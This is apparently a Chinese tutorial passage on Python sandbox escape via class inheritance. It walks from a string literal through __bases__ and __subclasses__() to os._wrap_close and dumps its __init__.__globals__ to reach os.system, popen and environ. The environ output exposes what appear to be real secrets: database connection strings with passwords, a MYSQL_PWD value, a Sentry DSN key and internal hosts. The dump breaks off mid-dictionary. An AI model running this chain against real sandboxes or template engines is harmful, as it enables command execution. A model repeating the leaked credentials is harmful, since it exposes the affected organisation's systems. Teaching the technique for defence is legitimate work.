跳转至

04 类继承使用

类继承使用

尝试利用继承关系来找到object类

>>> "".__class__.__bases__   #(<class 'object'>,)
(<class 'object'>,)

前面不仅可以使用双引号,还可以利用列表或者字典类型,区别在查找类型的时候在不同的基础上查找,返回都是元组。

>>> [].__class__.__bases__
(<class 'object'>,)
>>> {}.__class__.__bases__
(<class 'object'>,)
在object类下去查找所有的子类,然后去查找可利用类,__bases__返回是元组,使用下标获得object类。
>>> "".__class__.__bases__[0].__subclasses__()
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitemiterator'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'pickle.PickleBuffer'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>, <class 'moduledef'>, <class 'module'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc_data'>, <class 'abc.ABC'>, <class 'dict_itemiterator'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class '_distutils_hack._TrivialRe'>, <class '_distutils_hack.DistutilsMetaFinder'>, <class '_distutils_hack.shim'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'importlib.abc.Finder'>, <class 'importlib.abc.Loader'>, <class 'importlib.abc.ResourceReader'>, <class 'operator.itemgetter'>, <class 'operator.attrgetter'>, <class 'operator.methodcaller'>, <class 'itertools.accumulate'>, <class 'itertools.combinations'>, <class 'itertools.combinations_with_replacement'>, <class 'itertools.cycle'>, <class 'itertools.dropwhile'>, <class 'itertools.takewhile'>, <class 'itertools.islice'>, <class 'itertools.starmap'>, <class 'itertools.chain'>, <class 'itertools.compress'>, <class 'itertools.filterfalse'>, <class 'itertools.count'>, <class 'itertools.zip_longest'>, <class 'itertools.permutations'>, <class 'itertools.product'>, <class 'itertools.repeat'>, <class 'itertools.groupby'>, <class 'itertools._grouper'>, <class 'itertools._tee'>, <class 'itertools._tee_dataobject'>, <class 'reprlib.Repr'>, <class 'collections.deque'>, <class '_collections._deque_iterator'>, <class '_collections._deque_reverse_iterator'>, <class '_collections._tuplegetter'>, <class 'collections._Link'>, <class 'functools.partial'>, <class 'functools._lru_cache_wrapper'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib.ContextDecorator'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'rlcompleter.Completer'>, <class '__main__.A'>, <class '__main__.A'>, <class '__main__.A'>, <class '__main__.A'>, <class '__main__.A'>]

找到需要使用的类,其中有可以使用的类,在python3中使用

<class 'os._wrap_close'>,<class 'warnings.WarningMessage'>
调用他们
>>> "".__class__.__bases__[0].__subclasses__()[132]
<class 'os._wrap_close'>
>>> "".__class__.__bases__[0].__subclasses__()[141]
<class 'warnings.WarningMessage'>

如果子类过多,不好查找是第几个下标,可以使用如下来标记

for i in enumerate("".__class__.__bases__[0].__subclasses__()):
    print(i)

>>> for i in enumerate("".__class__.__bases__[0].__subclasses__()):
...     print(i)
...
(0, <class 'type'>)
(1, <class 'weakref'>)
(2, <class 'weakcallableproxy'>)
...
(188, <class '__main__.A'>)

先来读取一下文件

>>> "".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__
{'__name__': 'os', '__doc__': "OS routines for NT or Posix depending on what system we're on.\n\nThis exports:\n  - all functions from posix or nt, e.g. unlink, stat, etc.\n  - os.path is either posixpath or ntpath\n  - os.name is either 'posix' or 'nt'\n  - os.curdir is a string representing the current directory (always '.')\n  - os.pardir is a string representing the parent directory (always '..')\n  - os.sep is the (or a most common) pathname separator ('/' or '\\\\')\n  - os.extsep is the extension separator (always '.')\n  - os.altsep is the alternate pathname separator (None or '/')\n  - os.pathsep is the component separator used in $PATH etc\n  - os.linesep is the line separator in text files ('\\r' or '\\n' or '\\r\\n')\n  - os.defpath is the default search path for executables\n  - os.devnull is the file path of the null device ('/dev/null', etc.)\n\nPrograms that import and use 'os' stand a better chance of being\nportable between different platforms.  Of course, they must then\nonly use functions that are defined by all platforms (e.g., unlink\nand opendir), and leave all pathname manipulation to os.path\n(e.g., split and join).\n", '__package__': '', '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7f452cdc83a0>, '__spec__': ModuleSpec(name='os', loader=<_frozen_importlib_external.SourceFileLoader object at 0x7f452cdc83a0>, origin='/usr/local/python3/lib/python3.8/os.py'), '__file__': '/usr/local/python3/lib/python3.8/os.py', '__cached__': '/usr/local/python3/lib/python3.8/__pycache__/os.cpython-38.pyc', '__builtins__': {'__name__': 'builtins', '__doc__': "Built-in functions, exceptions, and other objects.\n\nNoteworthy: None is the `nil' object; Ellipsis represents `...' in slices.", '__package__': '', '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': ModuleSpec(name='builtins', loader=<class '_frozen_importlib.BuiltinImporter'>), '__build_class__': <built-in function __build_class__>, '__import__': <built-in function __import__>, 'abs': <built-in function abs>, 'all': <built-in function all>, 'any': <built-in function any>, 'ascii': <built-in function ascii>, 'bin': <built-in function bin>, 'breakpoint': <built-in function breakpoint>, 'callable': <built-in function callable>, 'chr': <built-in function chr>, 'compile': <built-in function compile>, 'delattr': <built-in function delattr>, 'dir': <built-in function dir>, 'divmod': <built-in function divmod>, 'eval': <built-in function eval>, 'exec': <built-in function exec>, 'format': <built-in function format>, 'getattr': <built-in function getattr>, 'globals': <built-in function globals>, 'hasattr': <built-in function hasattr>, 'hash': <built-in function hash>, 'hex': <built-in function hex>, 'id': <built-in function id>, 'input': <built-in function input>, 'isinstance': <built-in function isinstance>, 'issubclass': <built-in function issubclass>, 'iter': <built-in function iter>, 'len': <built-in function len>, 'locals': <built-in function locals>, 'max': <built-in function max>, 'min': <built-in function min>, 'next': <built-in function next>, 'oct': <built-in function oct>, 'ord': <built-in function ord>, 'pow': <built-in function pow>, 'print': <built-in function print>, 'repr': <built-in function repr>, 'round': <built-in function round>, 'setattr': <built-in function setattr>, 'sorted': <built-in function sorted>, 'sum': <built-in function sum>, 'vars': <built-in function vars>, 'None': None, 'Ellipsis': Ellipsis, 'NotImplemented': NotImplemented, 'False': False, 'True': True, 'bool': <class 'bool'>, 'memoryview': <class 'memoryview'>, 'bytearray': <class 'bytearray'>, 'bytes': <class 'bytes'>, 'classmethod': <class 'classmethod'>, 'complex': <class 'complex'>, 'dict': <class 'dict'>, 'enumerate': <class 'enumerate'>, 'filter': <class 'filter'>, 'float': <class 'float'>, 'frozenset': <class 'frozenset'>, 'property': <class 'property'>, 'int': <class 'int'>, 'list': <class 'list'>, 'map': <class 'map'>, 'object': <class 'object'>, 'range': <class 'range'>, 'reversed': <class 'reversed'>, 'set': <class 'set'>, 'slice': <class 'slice'>, 'staticmethod': <class 'staticmethod'>, 'str': <class 'str'>, 'super': <class 'super'>, 'tuple': <class 'tuple'>, 'type': <class 'type'>, 'zip': <class 'zip'>, '__debug__': True, 'BaseException': <class 'BaseException'>, 'Exception': <class 'Exception'>, 'TypeError': <class 'TypeError'>, 'StopAsyncIteration': <class 'StopAsyncIteration'>, 'StopIteration': <class 'StopIteration'>, 'GeneratorExit': <class 'GeneratorExit'>, 'SystemExit': <class 'SystemExit'>, 'KeyboardInterrupt': <class 'KeyboardInterrupt'>, 'ImportError': <class 'ImportError'>, 'ModuleNotFoundError': <class 'ModuleNotFoundError'>, 'OSError': <class 'OSError'>, 'EnvironmentError': <class 'OSError'>, 'IOError': <class 'OSError'>, 'EOFError': <class 'EOFError'>, 'RuntimeError': <class 'RuntimeError'>, 'RecursionError': <class 'RecursionError'>, 'NotImplementedError': <class 'NotImplementedError'>, 'NameError': <class 'NameError'>, 'UnboundLocalError': <class 'UnboundLocalError'>, 'AttributeError': <class 'AttributeError'>, 'SyntaxError': <class 'SyntaxError'>, 'IndentationError': <class 'IndentationError'>, 'TabError': <class 'TabError'>, 'LookupError': <class 'LookupError'>, 'IndexError': <class 'IndexError'>, 'KeyError': <class 'KeyError'>, 'ValueError': <class 'ValueError'>, 'UnicodeError': <class 'UnicodeError'>, 'UnicodeEncodeError': <class 'UnicodeEncodeError'>, 'UnicodeDecodeError': <class 'UnicodeDecodeError'>, 'UnicodeTranslateError': <class 'UnicodeTranslateError'>, 'AssertionError': <class 'AssertionError'>, 'ArithmeticError': <class 'ArithmeticError'>, 'FloatingPointError': <class 'FloatingPointError'>, 'OverflowError': <class 'OverflowError'>, 'ZeroDivisionError': <class 'ZeroDivisionError'>, 'SystemError': <class 'SystemError'>, 'ReferenceError': <class 'ReferenceError'>, 'MemoryError': <class 'MemoryError'>, 'BufferError': <class 'BufferError'>, 'Warning': <class 'Warning'>, 'UserWarning': <class 'UserWarning'>, 'DeprecationWarning': <class 'DeprecationWarning'>, 'PendingDeprecationWarning': <class 'PendingDeprecationWarning'>, 'SyntaxWarning': <class 'SyntaxWarning'>, 'RuntimeWarning': <class 'RuntimeWarning'>, 'FutureWarning': <class 'FutureWarning'>, 'ImportWarning': <class 'ImportWarning'>, 'UnicodeWarning': <class 'UnicodeWarning'>, 'BytesWarning': <class 'BytesWarning'>, 'ResourceWarning': <class 'ResourceWarning'>, 'ConnectionError': <class 'ConnectionError'>, 'BlockingIOError': <class 'BlockingIOError'>, 'BrokenPipeError': <class 'BrokenPipeError'>, 'ChildProcessError': <class 'ChildProcessError'>, 'ConnectionAbortedError': <class 'ConnectionAbortedError'>, 'ConnectionRefusedError': <class 'ConnectionRefusedError'>, 'ConnectionResetError': <class 'ConnectionResetError'>, 'FileExistsError': <class 'FileExistsError'>, 'FileNotFoundError': <class 'FileNotFoundError'>, 'IsADirectoryError': <class 'IsADirectoryError'>, 'NotADirectoryError': <class 'NotADirectoryError'>, 'InterruptedError': <class 'InterruptedError'>, 'PermissionError': <class 'PermissionError'>, 'ProcessLookupError': <class 'ProcessLookupError'>, 'TimeoutError': <class 'TimeoutError'>, 'open': <built-in function open>, 'quit': Use quit() or Ctrl-D (i.e. EOF) to exit, 'exit': Use exit() or Ctrl-D (i.e. EOF) to exit, 'copyright': Copyright (c) 2001-2021 Python Software Foundation.
All Rights Reserved.

Copyright (c) 2000 BeOpen.com.
All Rights Reserved.

Copyright (c) 1995-2001 Corporation for National Research Initiatives.
All Rights Reserved.

Copyright (c) 1991-1995 Stichting Mathematisch Centrum, Amsterdam.
All Rights Reserved., 'credits':     Thanks to CWI, CNRI, BeOpen.com, Zope Corporation and a cast of thousands
    for supporting Python development.  See www.python.org for more information., 'license': Type license() to see the full license text, 'help': Type help() for interactive help, or help(object) for help about object., '_': None}, 'abc': <module 'abc' from '/usr/local/python3/lib/python3.8/abc.py'>, 'sys': <module 'sys' (built-in)>, 'st': <module 'stat' from '/usr/local/python3/lib/python3.8/stat.py'>, '_check_methods': <function _check_methods at 0x7f452cd721f0>, '__all__': ['altsep', 'curdir', 'pardir', 'sep', 'pathsep', 'linesep', 'defpath', 'name', 'path', 'devnull', 'SEEK_SET', 'SEEK_CUR', 'SEEK_END', 'fsencode', 'fsdecode', 'get_exec_path', 'fdopen', 'popen', 'extsep', '_exit', 'CLD_CONTINUED', 'CLD_DUMPED', 'CLD_EXITED', 'CLD_TRAPPED', 'DirEntry', 'EX_CANTCREAT', 'EX_CONFIG', 'EX_DATAERR', 'EX_IOERR', 'EX_NOHOST', 'EX_NOINPUT', 'EX_NOPERM', 'EX_NOUSER', 'EX_OK', 'EX_OSERR', 'EX_OSFILE', 'EX_PROTOCOL', 'EX_SOFTWARE', 'EX_TEMPFAIL', 'EX_UNAVAILABLE', 'EX_USAGE', 'F_LOCK', 'F_OK', 'F_TEST', 'F_TLOCK', 'F_ULOCK', 'GRND_NONBLOCK', 'GRND_RANDOM', 'NGROUPS_MAX', 'O_ACCMODE', 'O_APPEND', 'O_ASYNC', 'O_CLOEXEC', 'O_CREAT', 'O_DIRECT', 'O_DIRECTORY', 'O_DSYNC', 'O_EXCL', 'O_LARGEFILE', 'O_NDELAY', 'O_NOATIME', 'O_NOCTTY', 'O_NOFOLLOW', 'O_NONBLOCK', 'O_PATH', 'O_RDONLY', 'O_RDWR', 'O_RSYNC', 'O_SYNC', 'O_TMPFILE', 'O_TRUNC', 'O_WRONLY', 'POSIX_FADV_DONTNEED', 'POSIX_FADV_NOREUSE', 'POSIX_FADV_NORMAL', 'POSIX_FADV_RANDOM', 'POSIX_FADV_SEQUENTIAL', 'POSIX_FADV_WILLNEED', 'POSIX_SPAWN_CLOSE', 'POSIX_SPAWN_DUP2', 'POSIX_SPAWN_OPEN', 'PRIO_PGRP', 'PRIO_PROCESS', 'PRIO_USER', 'P_ALL', 'P_PGID', 'P_PID', 'RTLD_DEEPBIND', 'RTLD_GLOBAL', 'RTLD_LAZY', 'RTLD_LOCAL', 'RTLD_NODELETE', 'RTLD_NOLOAD', 'RTLD_NOW', 'R_OK', 'SCHED_BATCH', 'SCHED_FIFO', 'SCHED_IDLE', 'SCHED_OTHER', 'SCHED_RESET_ON_FORK', 'SCHED_RR', 'SEEK_DATA', 'SEEK_HOLE', 'ST_APPEND', 'ST_MANDLOCK', 'ST_NOATIME', 'ST_NODEV', 'ST_NODIRATIME', 'ST_NOEXEC', 'ST_NOSUID', 'ST_RDONLY', 'ST_RELATIME', 'ST_SYNCHRONOUS', 'ST_WRITE', 'TMP_MAX', 'WCONTINUED', 'WCOREDUMP', 'WEXITED', 'WEXITSTATUS', 'WIFCONTINUED', 'WIFEXITED', 'WIFSIGNALED', 'WIFSTOPPED', 'WNOHANG', 'WNOWAIT', 'WSTOPPED', 'WSTOPSIG', 'WTERMSIG', 'WUNTRACED', 'W_OK', 'XATTR_CREATE', 'XATTR_REPLACE', 'XATTR_SIZE_MAX', 'X_OK', 'abort', 'access', 'chdir', 'chmod', 'chown', 'chroot', 'close', 'closerange', 'confstr', 'confstr_names', 'cpu_count', 'ctermid', 'device_encoding', 'dup', 'dup2', 'environ', 'error', 'execv', 'execve', 'fchdir', 'fchmod', 'fchown', 'fdatasync', 'fork', 'forkpty', 'fpathconf', 'fspath', 'fstat', 'fstatvfs', 'fsync', 'ftruncate', 'get_blocking', 'get_inheritable', 'get_terminal_size', 'getcwd', 'getcwdb', 'getegid', 'geteuid', 'getgid', 'getgrouplist', 'getgroups', 'getloadavg', 'getlogin', 'getpgid', 'getpgrp', 'getpid', 'getppid', 'getpriority', 'getrandom', 'getresgid', 'getresuid', 'getsid', 'getuid', 'getxattr', 'initgroups', 'isatty', 'kill', 'killpg', 'lchown', 'link', 'listdir', 'listxattr', 'lockf', 'lseek', 'lstat', 'major', 'makedev', 'minor', 'mkdir', 'mkfifo', 'mknod', 'nice', 'open', 'openpty', 'pathconf', 'pathconf_names', 'pipe', 'pipe2', 'posix_fadvise', 'posix_fallocate', 'posix_spawn', 'posix_spawnp', 'pread', 'preadv', 'putenv', 'pwrite', 'pwritev', 'read', 'readlink', 'readv', 'register_at_fork', 'remove', 'removexattr', 'rename', 'replace', 'rmdir', 'scandir', 'sched_get_priority_max', 'sched_get_priority_min', 'sched_getaffinity', 'sched_getparam', 'sched_getscheduler', 'sched_param', 'sched_rr_get_interval', 'sched_setaffinity', 'sched_setparam', 'sched_setscheduler', 'sched_yield', 'sendfile', 'set_blocking', 'set_inheritable', 'setegid', 'seteuid', 'setgid', 'setgroups', 'setpgid', 'setpgrp', 'setpriority', 'setregid', 'setresgid', 'setresuid', 'setreuid', 'setsid', 'setuid', 'setxattr', 'stat', 'stat_result', 'statvfs', 'statvfs_result', 'strerror', 'symlink', 'sync', 'sysconf', 'sysconf_names', 'system', 'tcgetpgrp', 'tcsetpgrp', 'terminal_size', 'times', 'times_result', 'truncate', 'ttyname', 'umask', 'uname', 'uname_result', 'unlink', 'unsetenv', 'urandom', 'utime', 'wait', 'wait3', 'wait4', 'waitid', 'waitid_result', 'waitpid', 'write', 'writev', 'makedirs', 'removedirs', 'renames', 'walk', 'fwalk', 'execl', 'execle', 'execlp', 'execlpe', 'execvp', 'execvpe', 'getenv', 'supports_bytes_environ', 'environb', 'getenvb', 'P_WAIT', 'P_NOWAIT', 'P_NOWAITO', 'spawnv', 'spawnve', 'spawnvp', 'spawnvpe', 'spawnl', 'spawnle', 'spawnlp', 'spawnlpe'], '_exists': <function _exists at 0x7f452cdbad30>, '_get_exports_list': <function _get_exports_list at 0x7f452cdbaf70>, 'name': 'posix', 'linesep': '\n', 'stat': <built-in function stat>, 'access': <built-in function access>, 'ttyname': <built-in function ttyname>, 'chdir': <built-in function chdir>, 'chmod': <built-in function chmod>, 'fchmod': <built-in function fchmod>, 'chown': <built-in function chown>, 'fchown': <built-in function fchown>, 'lchown': <built-in function lchown>, 'chroot': <built-in function chroot>, 'ctermid': <built-in function ctermid>, 'getcwd': <built-in function getcwd>, 'getcwdb': <built-in function getcwdb>, 'link': <built-in function link>, 'listdir': <built-in function listdir>, 'lstat': <built-in function lstat>, 'mkdir': <built-in function mkdir>, 'nice': <built-in function nice>, 'getpriority': <built-in function getpriority>, 'setpriority': <built-in function setpriority>, 'posix_spawn': <built-in function posix_spawn>, 'posix_spawnp': <built-in function posix_spawnp>, 'readlink': <built-in function readlink>, 'rename': <built-in function rename>, 'replace': <built-in function replace>, 'rmdir': <built-in function rmdir>, 'symlink': <built-in function symlink>, 'system': <built-in function system>, 'umask': <built-in function umask>, 'uname': <built-in function uname>, 'unlink': <built-in function unlink>, 'remove': <built-in function remove>, 'utime': <built-in function utime>, 'times': <built-in function times>, 'execv': <built-in function execv>, 'execve': <built-in function execve>, 'fork': <built-in function fork>, 'register_at_fork': <built-in function register_at_fork>, 'sched_get_priority_max': <built-in function sched_get_priority_max>, 'sched_get_priority_min': <built-in function sched_get_priority_min>, 'sched_getparam': <built-in function sched_getparam>, 'sched_getscheduler': <built-in function sched_getscheduler>, 'sched_rr_get_interval': <built-in function sched_rr_get_interval>, 'sched_setparam': <built-in function sched_setparam>, 'sched_setscheduler': <built-in function sched_setscheduler>, 'sched_yield': <built-in function sched_yield>, 'sched_setaffinity': <built-in function sched_setaffinity>, 'sched_getaffinity': <built-in function sched_getaffinity>, 'openpty': <built-in function openpty>, 'forkpty': <built-in function forkpty>, 'getegid': <built-in function getegid>, 'geteuid': <built-in function geteuid>, 'getgid': <built-in function getgid>, 'getgrouplist': <built-in function getgrouplist>, 'getgroups': <built-in function getgroups>, 'getpid': <built-in function getpid>, 'getpgrp': <built-in function getpgrp>, 'getppid': <built-in function getppid>, 'getuid': <built-in function getuid>, 'getlogin': <built-in function getlogin>, 'kill': <built-in function kill>, 'killpg': <built-in function killpg>, 'setuid': <built-in function setuid>, 'seteuid': <built-in function seteuid>, 'setreuid': <built-in function setreuid>, 'setgid': <built-in function setgid>, 'setegid': <built-in function setegid>, 'setregid': <built-in function setregid>, 'setgroups': <built-in function setgroups>, 'initgroups': <built-in function initgroups>, 'getpgid': <built-in function getpgid>, 'setpgrp': <built-in function setpgrp>, 'wait': <built-in function wait>, 'wait3': <built-in function wait3>, 'wait4': <built-in function wait4>, 'waitid': <built-in function waitid>, 'waitpid': <built-in function waitpid>, 'getsid': <built-in function getsid>, 'setsid': <built-in function setsid>, 'setpgid': <built-in function setpgid>, 'tcgetpgrp': <built-in function tcgetpgrp>, 'tcsetpgrp': <built-in function tcsetpgrp>, 'open': <built-in function open>, 'close': <built-in function close>, 'closerange': <built-in function closerange>, 'device_encoding': <built-in function device_encoding>, 'dup': <built-in function dup>, 'dup2': <built-in function dup2>, 'lockf': <built-in function lockf>, 'lseek': <built-in function lseek>, 'read': <built-in function read>, 'readv': <built-in function readv>, 'pread': <built-in function pread>, 'preadv': <built-in function preadv>, 'write': <built-in function write>, 'writev': <built-in function writev>, 'pwrite': <built-in function pwrite>, 'pwritev': <built-in function pwritev>, 'sendfile': <built-in function sendfile>, 'fstat': <built-in function fstat>, 'isatty': <built-in function isatty>, 'pipe': <built-in function pipe>, 'pipe2': <built-in function pipe2>, 'mkfifo': <built-in function mkfifo>, 'mknod': <built-in function mknod>, 'major': <built-in function major>, 'minor': <built-in function minor>, 'makedev': <built-in function makedev>, 'ftruncate': <built-in function ftruncate>, 'truncate': <built-in function truncate>, 'posix_fallocate': <built-in function posix_fallocate>, 'posix_fadvise': <built-in function posix_fadvise>, 'putenv': <built-in function putenv>, 'unsetenv': <built-in function unsetenv>, 'strerror': <built-in function strerror>, 'fchdir': <built-in function fchdir>, 'fsync': <built-in function fsync>, 'sync': <built-in function sync>, 'fdatasync': <built-in function fdatasync>, 'WCOREDUMP': <built-in function WCOREDUMP>, 'WIFCONTINUED': <built-in function WIFCONTINUED>, 'WIFSTOPPED': <built-in function WIFSTOPPED>, 'WIFSIGNALED': <built-in function WIFSIGNALED>, 'WIFEXITED': <built-in function WIFEXITED>, 'WEXITSTATUS': <built-in function WEXITSTATUS>, 'WTERMSIG': <built-in function WTERMSIG>, 'WSTOPSIG': <built-in function WSTOPSIG>, 'fstatvfs': <built-in function fstatvfs>, 'statvfs': <built-in function statvfs>, 'confstr': <built-in function confstr>, 'sysconf': <built-in function sysconf>, 'fpathconf': <built-in function fpathconf>, 'pathconf': <built-in function pathconf>, 'abort': <built-in function abort>, 'getloadavg': <built-in function getloadavg>, 'urandom': <built-in function urandom>, 'setresuid': <built-in function setresuid>, 'setresgid': <built-in function setresgid>, 'getresuid': <built-in function getresuid>, 'getresgid': <built-in function getresgid>, 'getxattr': <built-in function getxattr>, 'setxattr': <built-in function setxattr>, 'removexattr': <built-in function removexattr>, 'listxattr': <built-in function listxattr>, 'get_terminal_size': <built-in function get_terminal_size>, 'cpu_count': <built-in function cpu_count>, 'get_inheritable': <built-in function get_inheritable>, 'set_inheritable': <built-in function set_inheritable>, 'get_blocking': <built-in function get_blocking>, 'set_blocking': <built-in function set_blocking>, 'scandir': <built-in function scandir>, 'fspath': <built-in function fspath>, 'getrandom': <built-in function getrandom>, 'environ': environ({'SECONDARY_DB_CONN_STR': 'mysql://aiadm:nNBLQrurB0eDyHwg@mysql-cluster-primary.bigquant:3306/lqhan_bigai?pool_recycle=1500', 'MANPATH': '/opt/rh/rh-postgresql13/root/usr/share/man:/opt/rh/rh-mysql80/root/usr/share/man:/opt/rh/rh-git218/root/usr/share/man:/opt/rh/httpd24/root/usr/share/man:/opt/rh/devtoolset-7/root/usr/share/man:', 'CUDNN_VERSION': '8.0.5.39', 'HOSTNAME': 'studio-986c521f-2826-49ab-a5a6-e1bef80b5558-6545575b95-pm97q', 'SENTRY_ENABLED': 'False', 'AISTUDIO_EXT_DIR': '/home/aiuser/.local/share/aistudio/extensions', 'PRIMARY_DB_CONN_STR': 'mysql://aiadm:nNBLQrurB0eDyHwg@mysql-cluster-primary.bigquant:3306/lqhan_bigai?pool_recycle=1500', 'MYSQL_PWD': 'zreYtwCGV5eMcJ7W', 'KUBERNETES_PORT': 'tcp://10.96.0.1:443', 'KUBERNETES_PORT_443_TCP_PORT': '443', 'SHELL': '/bin/bash', 'PIP_USER_SITE': '/home/aiuser/.local/lib/python3.8/site-packages', 'PIPX_BIN_DIR': '/usr/local/bin/pipx', 'AUTH_SERVICE_HOST': 'http://bigauth.bigquant:8000', 'JPY_USER': 'lqhan', 'CURL_CA_BUNDLE': '', 'PERL5LIB': '/opt/rh/rh-git218/root/usr/share/perl5/vendor_perl:/opt/rh/devtoolset-7/root//usr/lib64/perl5/vendor_perl:/opt/rh/devtoolset-7/root/usr/lib/perl5:/opt/rh/devtoolset-7/root//usr/share/perl5/vendor_perl', 'LIBRARY_PATH': '/opt/rh/rh-postgresql13/root/usr/lib64:/opt/rh/rh-mysql80/root/usr/lib64:/opt/rh/httpd24/root/usr/lib64', 'KUBERNETES_SERVICE_PORT': '443', 'bigmodulemanager__moduleservice__settings__host': 'bigmodulemanagerservice.bigquant:37101', 'SENTRY_DSN_AISTUDIO_BACKEND': 'https://5ae8cb551d9b4a89919dc9411b227d64@sentry.bigquant.com:21379/3', 'ZDOTDIR': '/opt/zim/zimfw', 'KUBERNETES_SERVICE_HOST': '10.96.0.1', 'JAVACONFDIRS': '/etc/opt/rh/rh-postgresql13/java:/etc/opt/rh/rh-mysql80/java:/etc/java', 'RELEASE_VERSION': 'dev', 'CPU_LIMIT': '4', 'AISTUDIO_GROUP': 'aiuser', 'PCP_DIR': '/opt/rh/devtoolset-7/root', 'AISTUDIO_VERSION': '6.11.1', 'LD_LIBRARY_PATH': '/usr/lib64:/usr/lib:/usr/local/nvidia/lib:/usr/local/nvidia/lib64:/usr/local/cuda/lib64:/usr/local/cuda/lib64/stubs:/opt/rh/rh-postgresql13/root/usr/lib64:/opt/rh/rh-mysql80/root/usr/lib64:/opt/rh/httpd24/root/usr/lib64:/opt/rh/httpd24/root/usr/lib64:/opt/rh/devtoolset-7/root/usr/lib64:/opt/rh/devtoolset-7/root/usr/lib:/opt/rh/devtoolset-7/root/usr/lib64/dyninst:/opt/rh/devtoolset-7/root/usr/lib/dyninst:/usr/local/lib/oracle_client/instantclient_19_5:/opt/sqlanywhere17/lib64:/usr/local/tradersdk/lib64:/var/app/enabled/bigtrader2/bigtrader/utils:/var/app/enabled/lib:/var/app/bigmaold/lib', 'NVIDIA_VISIBLE_DEVICES': 'void', 'PYCURL_SSL_LIBRARY': 'nss', 'PLATFORM_EXT_DIR': '/opt/aistudio/extensions', 'NAMESPACE': 'bigquant', 'USER_NAME': 'lqhan', 'CPATH': '/opt/rh/rh-postgresql13/root/usr/include:/opt/rh/rh-mysql80/root/usr/include', 'WINEARCH': 'win64', 'BIGQUANT_HOME': '', 'EXPORT_PROXY': 'export         https_proxy=http://proxy.bigquant.ai:31701         http_proxy=http://proxy.bigquant.ai:31701         all_proxy=socks5://proxy.bigquant.ai:31701         no_proxy="127.0.0.1,localhost,local,.bigquant.ai,.bigquant.com,.aliyun.com,.aliyuncs.com,.tsinghua.edu.cn,goproxy.cn,.qiniucs.com,.myqcloud.com,.local,10.24.0.0/16,192.168.1.0/24,192.168.31.0/24"         HTTPS_PROXY=http://proxy.bigquant.ai:31701         HTTP_PROXY=http://proxy.bigquant.ai:31701         ALL_PROXY=socks5://proxy.bigquant.ai:31701         NO_PROXY="127.0.0.1,localhost,local,.bigquant.ai,.bigquant.com,.aliyun.com,.aliyuncs.com,.tsinghua.edu.cn,goproxy.cn,.qiniucs.com,.myqcloud.com,.local,10.24.0.0/16,192.168.1.0/24,192.168.31.0/24"', 'ENABLE_BIGMA_DATA': 'True', 'BIGCONFIG_SERVICE_HOST': 